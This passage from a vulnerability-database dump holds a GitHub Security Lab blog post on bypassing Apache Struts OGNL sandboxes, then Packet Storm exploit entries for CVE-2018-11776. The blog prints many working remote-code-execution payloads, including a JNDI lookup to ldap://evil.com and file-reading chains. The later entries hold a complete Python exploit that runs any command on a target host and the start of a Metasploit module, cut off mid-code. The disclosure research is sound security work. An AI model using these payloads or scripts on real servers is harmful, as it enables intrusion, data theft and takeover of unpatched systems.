gave me access to an `org.apache.struts2.views.jsp.ui.OgnlTool` instance. Looking at the code for this class I quickly spotted that it was calling `Ognl.getValue()`. This class is not part of Struts, but the OGNL library and, therefore, the Struts sandbox (member access policy) was not enabled! In order to exploit it I used the following payload:\n \n \n \n #request[\u2018.freemarker.TemplateModel\u2019].get(\u2018ognl\u2019).getWrappedObject().findValue(\u2018(new freemarker.template.utility.Execute()).exec({\u201cwhoami\u201d})\u2019, {})\n \n \n\nThat was enough to get the issue accepted as a remote code execution in the bounty program. However, despite having achieved RCE, there were a few unsolved questions:\n\n * Why was this `.freemarker.TemplateModel` object available?\n * Are there any other ways to get RCE on the latest Struts versions?\n\n### Post-invocations Context[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#post-invocations-context>)\n\nAttackers are limited to the objects they are able to access. Normally, OGNL injections take place before the action invocation completes and the action\u2019s `Result` is rendered.\n\nhttps://struts.apache.org/core-developers/attachments/Struts2-Architecture.png\n\nWhen grepping the Struts\u2019s source code for `.freemarker.TemplateModel`, I found out that there are plenty of new objects added to the request scope when preparing the action\u2019s `Result` in order to share them with the view layer (JSP, FreeMarker or Velocity) and `.freemarker.TemplateModel` was [one of them](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerManager.java#L122>). However, those objects are only added after the `ActionInvocation` has been invoked. This implies that if I find `.freemarker.TemplateModel` on the request scope, my injection was evaluated after the action invocation finished building the action\u2019s `Result` object and, therefore, my injection probably did not take place as part of the Struts code but as a [double evaluation in the FreeMarker template](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nThese new objects will offer new ways to get remote code execution, but only if you are lucky to get your injection evaluated after the action\u2019s `Result` has been built. Or not? \n\nIt turned out that the ongoing `ActionInvocation` object can be accessed through the OGNL context and, therefore, we can use it to force the building of the `Result` object in advance. Calling the `Result`s `doExecute()` method will trigger the population of the so-called template model. For example, for Freemarker, `ActionInvocation.createResult()` will create a `FreemarkerResult` instance. Calling its `doExecute()` method will, in turn, call its `[createModel()](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerResult.java#L273>)` method that will populate the template model.\n \n \n \n (#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+\n \n (#ai.setResultCode(\"success\"))+\n \n (#r=#ai.createResult())+\n \n (#r.doExecute(\"pages/test.ftl\",#ai))\n \n \n\nExecuting the above payload will populate the request context with new objects. However, that requires us to know the result code and the template\u2019s path. Fortunately, we can also invoke the `ActionInvocation.invoke()` method that will take care of everything for us!\n \n \n \n #attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()\n \n \n\nThe line above will result in the template model being populated and stored in the request, and context scopes regardless of where your injection takes place.\n\n### Wild objects appeared[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#wild-objects-appeared>)\n\nAfter the invocation, the request scope and value stack will be populated with additional objects. These objects vary depending on the view layer used. What follows is a list of the most interesting ones (skipping most of them which do not lead to RCE):\n\nFor Freemarker:\n\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.TemplateModel` (`org.apache.struts2.views.freemarker.ScopesHashModel`) \n * `__FreeMarkerServlet.Application__` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`)\n * `.freemarker.RequestParameters` (`freemarker.ext.servlet.HttpRequestParametersHashModel`)\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.Application` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `.freemarker.JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`) \n * `stack` (`com.opensymphony.xwork2.ognl.OgnlValueStack`) \n * `struts` (`org.apache.struts2.util.StrutsUtil`) \n\nFor JSPs:\n\n * `com.opensymphony.xwork2.dispatcher.PageContext` (`PageContextImpl`)\n\nFor Velocity:\n\n * `.KEY_velocity.struts2.context` -> (`StrutsVelocityContext`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`)\n * `struts` (`org.apache.struts2.views.velocity.result.VelocityStrutsUtils`)\n\n### Getting RCE with new objects[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#getting-rce-with-new-objects>)\n\nAnd now let\u2019s have some fun with these new objects! In the following section I will explain how I was able to leverage some of these objects to get remote code execution.\n\n#### ObjectWrapper[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#objectwrapper>)\n\nThere may be different ways to get an instance of a FreeMarker\u2019s `ObjectWrapper`, even if the application is not using FreeMarker as its view layer because Struts uses it internally for rendering JSP tags. A few of them are listed below:\n\n * Through `freemarker.ext.jsp.TaglibFactory.getObjectWrapper()`. Even though Struts\u2019 sandbox forbids access to `freemarker.ext.jsp` package, we can still access it using a BeanMap:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application[\".freemarker.JspTaglibs\"]))+\n \n (#a['objectWrapper'])\n \n \n\n * Through `freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper()`:\n \n \n \n (#request.get('.freemarker.Request').objectWrapper)\n \n \n\n * Through `freemarker.core.Configurable.getObjectWrapper()`. We need to use the BeanMap trick to access it since `freemarker.core` is also blocklisted:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application['freemarker.Configuration']))+\n \n #a['objectWrapper']\n \n \n\nNow for the fun part, what can we do with an `ObjectWrapper`? There are three interesting methods we can leverage to get RCE:\n\n**`newInstance(class, args)`**\n\nThis method will allow us to instantiate an arbitrary type. Arguments must be wrapped, but the return value is not. For example, we can trigger a JNDI injection lookup:\n \n \n \n objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup(\"ldap://evil.com\")\n \n \n\nOr, if Spring libs are available, we can get RCE by supplying a malicious [XML config](<https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml>) for `FileSystemXmlApplicationContext` constructor:\n \n \n \n objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap(\"URL\")})\n \n \n\n`**getStaticModels()`**\n\nThis method allows us to get static fields from arbitrary types. The return object is wrapped in a FreeMarker\u2019s `TemplateModel` so we need to unwrap it. An example payload levering [Text4Shell](<https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/>):\n \n \n \n objectWrapper.staticModels.get(\"org.apache.commons.text.lookup.StringLookupFactory\").get(\"INSTANCE\").getWrappedObject().scriptStringLookup().lookup(\"javascript:3+4\")\n \n \n\n`**wrapAsAPI()`**\n\nThis method allows us to wrap any object with a `freemarker.ext.beans.BeanModel` giving us indirect access to its getters and setters methods. Struts\u2019 sandbox will not have visibility on these calls and therefore they can be used to call any blocklisted method.\n\n * `BeanModel.get('field_name')` returns a `TemplateModel` wrapping the object.\n * `BeanModel.get('method_name')` returns either a `SimpleMethodModel` or `OverloadedMethodsModel` wrapping the method.\n\nWe can, therefore, call any blocklisted method with:\n \n \n \n objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)\n \n \n\nThis call will return an instance of `TemplateMethodModelEx`. Its `[exec()](<https://freemarker.apache.org/docs/api/freemarker/template/TemplateMethodModelEx.html#exec-java.util.List->)` method is defined in the `freemarker.template` namespace and, therefore, trying to invoke this method will get blocked by the Struts sandbox. However, `TemplateMethodModelEx` is an interface and what we will really get is an instance of either `freemarker.ext.beans.SimpleMethodModel` or `freemarker.ext.beans.OverloadedMethodsModel`. Since the `exec()` methods on both of them are defined on the `freemarker.ext.beans` namespace, which is not blocklisted, their invocation will succeed. As we saw before, arguments need to be wrapped. As an example we can call the `File.createTempFile(\u201cPREFIX\u201d, \u201cSUFFIX\u201d)` using the following payload:\n \n \n \n objectWrapper.getStaticModels().get(\"java.io.File\").get(\"createTempFile\").exec({objectWrapper.wrap(\"PREFIX\"), objectWrapper.wrap(\"SUFFIX\")})\n \n \n\nWe can achieve the same by calling the `getAPI()` on any `freemarker.template.TemplateModelWithAPISupport` instance. Many of the FreeMarker exposed objects inherit from this interface and will allow us to wrap them with a `BeanModel`. For example, to list all the keys in the Struts Value Stack we can use:\n \n \n \n #request['.freemarker.TemplateModel'].get('stack').getAPI().get(\"context\").getAPI().get(\"keySet\").exec({})\n \n \n\nNote that `com.opensymphony.xwork2.util.OgnlContext.keySet()` would be blocked since it belongs to the `com.opensymphony.xwork2.util` namespace, but in this case, Struts\u2019 sandbox will only see calls to `TemplateHashModel.get()` and `TemplateModelWithAPISupport.getAPI()` which are both allowed.\n\nThe last payload will give us a complete list of all available objects in the Value Stack, many of which could be used for further attacks. Lets see a more interesting example by reading an arbitrary file using `BeanModel`s:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#f=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\web.xml\")}))+ \n \n (#p=#bw.wrapAsAPI(#f).get(\"toPath\").exec({}))+\n \n (#ba=#bw.getStaticModels().get(\"java.nio.file.Files\").get(\"readAllBytes\").exec({#bw.wrap(#p)}))+\n \n \"----\"+\n \n (#b64=#bw.getStaticModels().get(\"java.util.Base64\").get(\"getEncoder\").exec({}).getAPI().get(\"encodeToString\").exec({#bw.wrap(#ba)}))\n \n \n\nOr listing the contents of a directory:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\lib\")}))+ \n \n (#l=#bw.wrapAsAPI(#dir).get(\"listFiles\").exec({}).getWrappedObject())+\"---\"+\n \n (#l.{#this})\n \n \n\n#### OgnlTool/OgnlUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#ognltool-ognlutil>)\n\nThe `org.apache.struts2.views.jsp.ui.OgnlTool` class was calling `Ognl.getValue()` with no `OgnlContext` and even though the Ognl library will take care of creating a default one, it will not include all the additional security checks added by the Struts framework and is easily bypassable:\n \n \n \n package org.apache.struts2.views.jsp.ui;\n \n import ognl.Ognl;\n \n import ognl.OgnlException;\n \n import com.opensymphony.xwork2.inject.Inject;\n \n public class OgnlTool {\n \n private OgnlUtil ognlUtil;\n \n public OgnlTool() { }\n \n \n \n @Inject\n \n public void setOgnlUtil(OgnlUtil ognlUtil) {\n \n this.ognlUtil = ognlUtil;\n \n }\n \n \n \n public Object findValue(String expr, Object context) {\n \n try {\n \n return Ognl.getValue(ognlUtil.compile(expr), context);\n \n } catch (OgnlException e) {\n \n return null;\n \n }\n \n }\n \n }\n \n \n\nWe can get an instance of `OgnlTool` from both FreeMarker and Velocity post-invocation contexts:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl')\n \n \n\nOr\n \n \n \n #request['.KEY_velocity.struts2.context'].internalGet('ognl')\n \n \n\nFor FreeMarker\u2019s case, it will come up wrapped with a Template model but we can just unwrap it and use it to get RCE:\n \n \n \n (#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+\n \n (#a.findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',null))\n \n \n\nOr, even simpler:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',{})\n \n \n\n`OgnlTool` was [inadvertently fixed](<https://github.com/apache/struts/commit/5cd409d382e00b190bfe4e957c4167d06b8f9da1#diff-55821720c975d84350d796bec09aa366cc2b2861fb7e12f223cc5a4453b55640>) when Struts 6.0.0 was released by upgrading to OGNL 3.2.2 which always requires a `MemberAccess`. But the latest Struts 2 version (2.5.30) is still vulnerable to this payload.\n\n#### StrutsUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#strutsutil>)\n\nAnother object that can be accessed in the post-invocation context is an instance of `org.apache.struts2.util.StrutsUtil`. There are plenty of interesting methods in here:\n\n * `public String include(Object aName)` can be used to read arbitrary resources \n * `<struts_utils>.include(\"/WEB-INF/web.xml\")`\n * `public Object bean(Object aName)` can be used to instantiate arbitrary types: \n * `<struts_utils>.bean(\"javax.script.ScriptEngineManager\")`\n * `public List makeSelectList(String selectedList, String list, String listKey, String listValue)`\n * `listKey` and `listValue` are evaluated with OgnlTool and therefore in an unsandboxed context\n * `<struts_utils>.makeSelectList(\"#this\",\"{'foo'}\",\"(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})\",\"\")`\n\nOn applications using Velocity as its view layer, this object will be an instance of `VelocityStrutsUtil` which extends `StrutsUtils` and provides an additional vector:\n\n * `public String evaluate(String expression)` will allow us to evaluate a string containing a velocity template:\n \n \n \n (<struts_utils>.evaluate(\"#set ($cmd='java.lang.Runtime.getRuntime().exec(\\\"touch /tmp/pwned_velocity\\\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)\"))\n \n \n\n#### JspApplicationContextImpl[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#jspapplicationcontextimpl>)\n\nThe last vector that I wanted to share is one that I found a few years ago and that I was not able to exploit\u2013although I was pretty sure that there had to be a way. New post-invocation discovered objects finally made this possible!\n\nIf you have inspected the Struts Servlet context (`#application`) in the past you probably saw an item with key `org.apache.jasper.runtime.JspApplicationContextImpl` which returned an instance of `org.apache.jasper.runtime.JspApplicationContextImpl`. This class contains a method called `getExpressionFactory()` that returns an Expression Factory that will expose a `createValueExpression()` method. This looks like a perfect place to create an EL expression and evaluate it. The problem was that `[createValueExpression](<https://docs.oracle.com/javaee/7/api/javax/el/ExpressionFactory.html#createValueExpression-javax.el.ELContext-java.lang.String-java.lang.Class->)` requires an instance of `ELContext` and we had none.\n\nFortunately, our post-invocation technique brought a new object into play. When using JSPs as the view layer, `#request['com.opensymphony.xwork2.dispatcher.PageContext']` will return an uninitialized `org.apache.jasper.runtime.PageContextImpl` instance that we can use to create an `ELContext` and evaluate arbitrary EL expressions:\n \n \n \n (#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+\n \n (#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+\n \n (#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+\n \n (#elctx=#jsp.createELContext(#ctx))+\n \n (#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))\n \n \n\nThe avid readers may be wondering why Struts stores the `PageContext` in the request. Well, turns out, it does not, but we can access it through chained contexts.\n\nWhen accessing `#attr` (`AttributeMap`), [we can indirectly look into multiple scopes](<https://struts.apache.org/maven/struts2-core/apidocs/org/apache/struts2/util/AttributeMap.html>) such as the Page, Request, Session and Application (Servlet). But there is more, `org.apache.struts2.dispatcher.StrutsRequestWrapper.getAttribute()` will look for the attribute in the `ServletRequest`, if it can't find it there, [it will search the value stack](<https://github.com/apache/struts/blob/master/core/src/main/java/org/apache/struts2/dispatcher/StrutsRequestWrapper.java#L94>)! So, we can effectively access the value stack through the `#request` or `#attr` variables.\n\nIn this case, the `PageContext` was not stored in the request scope, but in the Value stack, and we are able to access it through chained context searches.\n\nWe can even run arbitrary OGNL expressions as long as they don\u2019t contain any hashes (`#`), for example, `#request[\"@java.util.HashMap@class\"]` will return the `HashMap` class.\n\n### Leveling up the BeanMap payload[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#leveling-up-the-beanmap-payload>)\n\nYou may already be familiar with McOwn\u2019s [technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). He realized that it was possible to use [OGNL Map notation](<https://commons.apache.org/proper/commons-ognl/language-guide.html>) to instantiate an `org.apache.commons.collections.BeanMap` by using the `#@org.apache.commons.collections.BeanMap@{ }` syntax, and then it was possible to wrap any Java object on this map and access any getters and setters as map properties. His payload was based on the `org.apache.tomcat.InstanceManager` payload we introduced at [Black Hat 2020](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>) and looked like:\n \n \n \n (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n \n (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n \n (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))\n \n \n\nThe payload was basically disabling the OGNL sandbox and then accessing otherwise blocked classes such as `InstanceManager`. There is a simpler way to abuse BeanMaps that do not require to disable the sandbox and that is using reflection:\n \n \n \n (#c=#@org.apache.commons.beanutils.BeanMap@{})+\n \n (#c.setBean(@Runtime@class))+\n \n (#rt=#c['methods'][6].invoke())+\n \n (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')\n \n \n\nThis payload also works in Struts 6 if the `BeanClass` is available in the classpath (either from Apache Commons Collections or Apache Commons BeanUtils), but you need to specify the FQN (Fully Qualified Name) name for `Runtime`: `@java.lang.Runtime@class`.\n\n### Timeline[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#timeline>)\n\nThese bypasses were first reported to the Struts and OGNL security teams on June 9, 2022.\n\nOn October 7, 2022, the security team replied to us and stated that improving the block lists was not a sustainable solution, and, therefore, they decided to stop doing it. They highlighted that a [Java Security Manager can be configured](<https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable>) to protect every OGNL evaluation from these attacks and we highly recommend doing so if you are running a Struts application. However, bear in mind that the [Security Manager is deprecated](<https://openjdk.org/jeps/411>) and will soon get removed from the JDK.\n\n## That\u2019s a wrap[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#thats-a-wrap>)\n\nAt this point, you will have probably realized that sandboxing an expression language, such as OGNL, is a really difficult task, and may require maintaining a list of blocked classes and OGNL features even though that is not an optimal approach. In this blog post, we have reviewed a few ways in which these sandboxes can be bypassed. Although they are specific to OGNL, hopefully you have learned to explore sandbox controls\u2013and one or two new tricks\u2013that may apply to other sandboxes. In total, we were able to raise $5,600, which we donated to [UNHCR](<https://www.unhcr.org/>) to help provide refuge for Ukrainians seeking protection from the war.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-01-27T16:00:49", "type": "github", "title": "Bypassing OGNL sandboxes for fun and charities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-3087", "CVE-2016-4436", "CVE-2017-5638", "CVE-2018-11776", "CVE-2018-1327", "CVE-2020-17530", "CVE-2021-26084", "CVE-2022-26134"], "modified": "2023-01-27T13:33:03", "id": "GITHUB:0519EA92487B44F364A1B35C85049455", "href": "https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2018-08-27T17:58:42", "description": "", "cvss3": {}, "published": "2018-08-25T00:00:00", "type": "packetstorm", "title": "Apache Struts 2.3 / 2.5 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-25T00:00:00", "id": "PACKETSTORM:149087", "href": "https://packetstormsecurity.com/files/149087/Apache-Struts-2.3-2.5-Remote-Code-Execution.html", "sourceData": "`#!/usr/bin/python \n# -*- coding: utf-8 -*- \n \n# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter \n \nimport sys \nimport urllib \nimport urllib2 \nimport httplib \n \n \ndef exploit(host,cmd): \nprint \"[Execute]: {}\".format(cmd) \n \nognl_payload = \"${\" \nognl_payload += \"(#_memberAccess['allowStaticMethodAccess']=true).\" \nognl_payload += \"(#cmd='{}').\".format(cmd) \nognl_payload += \"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\" \nognl_payload += \"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).\" \nognl_payload += \"(#p=new java.lang.ProcessBuilder(#cmds)).\" \nognl_payload += \"(#p.redirectErrorStream(true)).\" \nognl_payload += \"(#process=#p.start()).\" \nognl_payload += \"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).\" \nognl_payload += \"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\" \nognl_payload += \"(#ros.flush())\" \nognl_payload += \"}\" \n \nif not \":\" in host: \nhost = \"{}:8080\".format(host) \n \n# encode the payload \nognl_payload_encoded = urllib.quote_plus(ognl_payload) \n \n# further encoding \nurl = \"http://{}/{}/help.action\".format(host, ognl_payload_encoded.replace(\"+\",\"%20\").replace(\" \", \"%20\").replace(\"%2F\",\"/\")) \n \nprint \"[Url]: {}\\n\\n\\n\".format(url) \n \ntry: \nrequest = urllib2.Request(url) \nresponse = urllib2.urlopen(request).read() \nexcept httplib.IncompleteRead, e: \nresponse = e.partial \nprint response \n \n \nif len(sys.argv) < 3: \nsys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0]) \nelse: \nexploit(sys.argv[1],sys.argv[2]) \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/149087/apachestruts23252-exec.txt"}, {"lastseen": "2018-09-08T18:08:24", "description": "", "cvss3": {}, "published": "2018-09-07T00:00:00", "type": "packetstorm", "title": "Apache Struts 2 Namespace Redirect OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-07T00:00:00", "id": "PACKETSTORM:149277", "href": "https://packetstormsecurity.com/files/149277/Apache-Struts-2-Namespace-Redirect-OGNL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \n# Eschewing CmdStager for now, since the use of '\\' and ';' are killing me \n#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection', \n'Description' => %q{ \nThis module exploits a remote code execution vulnerability in Apache Struts \nversion 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed \nvia an endpoint that makes use of a redirect action. \n \nNative payloads will be converted to executables and dropped in the \nserver's temp dir. If this fails, try a cmd/* payload, which won't \nhave to write to the disk. \n}, \n#TODO: Is that second paragraph above still accurate? \n'Author' => [ \n'Man Yue Mo', # Discovery \n'hook-s3c', # PoC \n'asoto-r7', # Metasploit module \n'wvu' # Metasploit module \n], \n'References' => [ \n['CVE', '2018-11776'], \n['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], \n['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'], \n['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'], \n], \n'Privileged' => false, \n'Targets' => [ \n[ \n'Automatic detection', { \n'Platform' => %w{ unix windows linux }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n}, \n], \n[ \n'Windows', { \n'Platform' => %w{ windows }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n}, \n], \n[ \n'Linux', { \n'Platform' => %w{ unix linux }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} \n}, \n], \n], \n'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018 \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOpt::RPORT(8080), \nOptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), \nOptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), \nOptString.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]), \n] \n) \nregister_advanced_options( \n[ \nOptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]), \nOptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ), \nOptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ), \n] \n) \nend \n \ndef check \n# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable \nognl = \"#_memberAccess['allowStaticMethodAccess']\" \n \nresp = send_struts_request(ognl) \n \n# If vulnerable, the server should return an HTTP 302 (Redirect) \n# and the 'Location' header should contain either 'true' or 'false' \nif resp && resp.headers['Location'] \noutput = resp.headers['Location'] \nvprint_status(\"Redirected to: #{output}\") \nif (output.include? '/true/') \nprint_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\") \ndatastore['ENABLE_STATIC'] = false \nCheckCode::Vulnerable \nelsif (output.include? '/false/') \nprint_status(\"Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'\") \ndatastore['ENABLE_STATIC'] = true \nCheckCode::Vulnerable \nelse \nCheckCode::Safe \nend \nelsif resp && resp.code==400 \n# METHOD 2: Generate two random numbers, ask the target to add them together. \n# If it does, it's vulnerable. \na = rand(10000) \nb = rand(10000) \nc = a+b \n \nognl = \"#{a}+#{b}\" \n \nresp = send_struts_request(ognl) \n \nif resp.headers['Location'].include? c.to_s \nvprint_status(\"Redirected to: #{resp.headers['Location']}\") \nprint_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\") \ndatastore['ENABLE_STATIC'] = false \nCheckCode::Vulnerable \nelse \nCheckCode::Safe \nend \nend \nend \n \ndef exploit \ncase payload.arch.first \nwhen ARCH_CMD \nresp = execute_command(payload.encoded) \nelse \nresp = send_payload() \nend \nend \n \ndef encode_ognl(ognl) \n# Check and fail if the command contains the follow bad characters: \n# ';' seems to terminates the OGNL statement \n# '/' causes the target to return an HTTP/400 error \n# '\\' causes the target to return an HTTP/400 error (sometimes?) \n# '\\r' ends the GET request prematurely \n# '\\n' ends the GET request prematurely \n \n# TODO: Make sure the following line is uncommented \nbad_chars = %w[; \\\\ \\r \\n] # and maybe '/' \nbad_chars.each do |c| \nif ognl.include? c \nprint_error(\"Bad OGNL request: #{ognl}\") \nfail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\") \nend \nend \n \n# The following list of characters *must* be encoded or ORNL will asplode \nencodable_chars = { \"%\": \"%25\", # Always do this one first. :-) \n\" \": \"%20\", \n\"\\\"\":\"%22\", \n\"#\": \"%23\", \n\"'\": \"%27\", \n\"<\": \"%3c\", \n\">\": \"%3e\", \n\"?\": \"%3f\", \n\"^\": \"%5e\", \n\"`\": \"%60\", \n\"{\": \"%7b\", \n\"|\": \"%7c\", \n\"}\": \"%7d\", \n#\"\\/\":\"%2f\", # Don't do this. Just leave it front-slashes in as normal. \n#\";\": \"%3b\", # Doesn't work. Anyone have a cool idea for a workaround? \n#\"\\\\\":\"%5c\", # Doesn't work. Anyone have a cool idea for a workaround? \n#\"\\\\\":\"%5c%5c\", # Doesn't work. Anyone have a cool idea for a workaround? \n} \n \nencodable_chars.each do |k,v| \n#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp) \nognl.gsub!(\"#{k}\",\"#{v}\") \nend \nreturn ognl \nend \n \ndef send_struts_request(ognl, payload: nil) \n=begin #badchar-checking code \npre = ognl \n=end \n \nognl = \"${#{ognl}}\" \nvprint_status(\"Submitted OGNL: #{ognl}\") \nognl = encode_ognl(ognl) \n \nheaders = {'Keep-Alive': 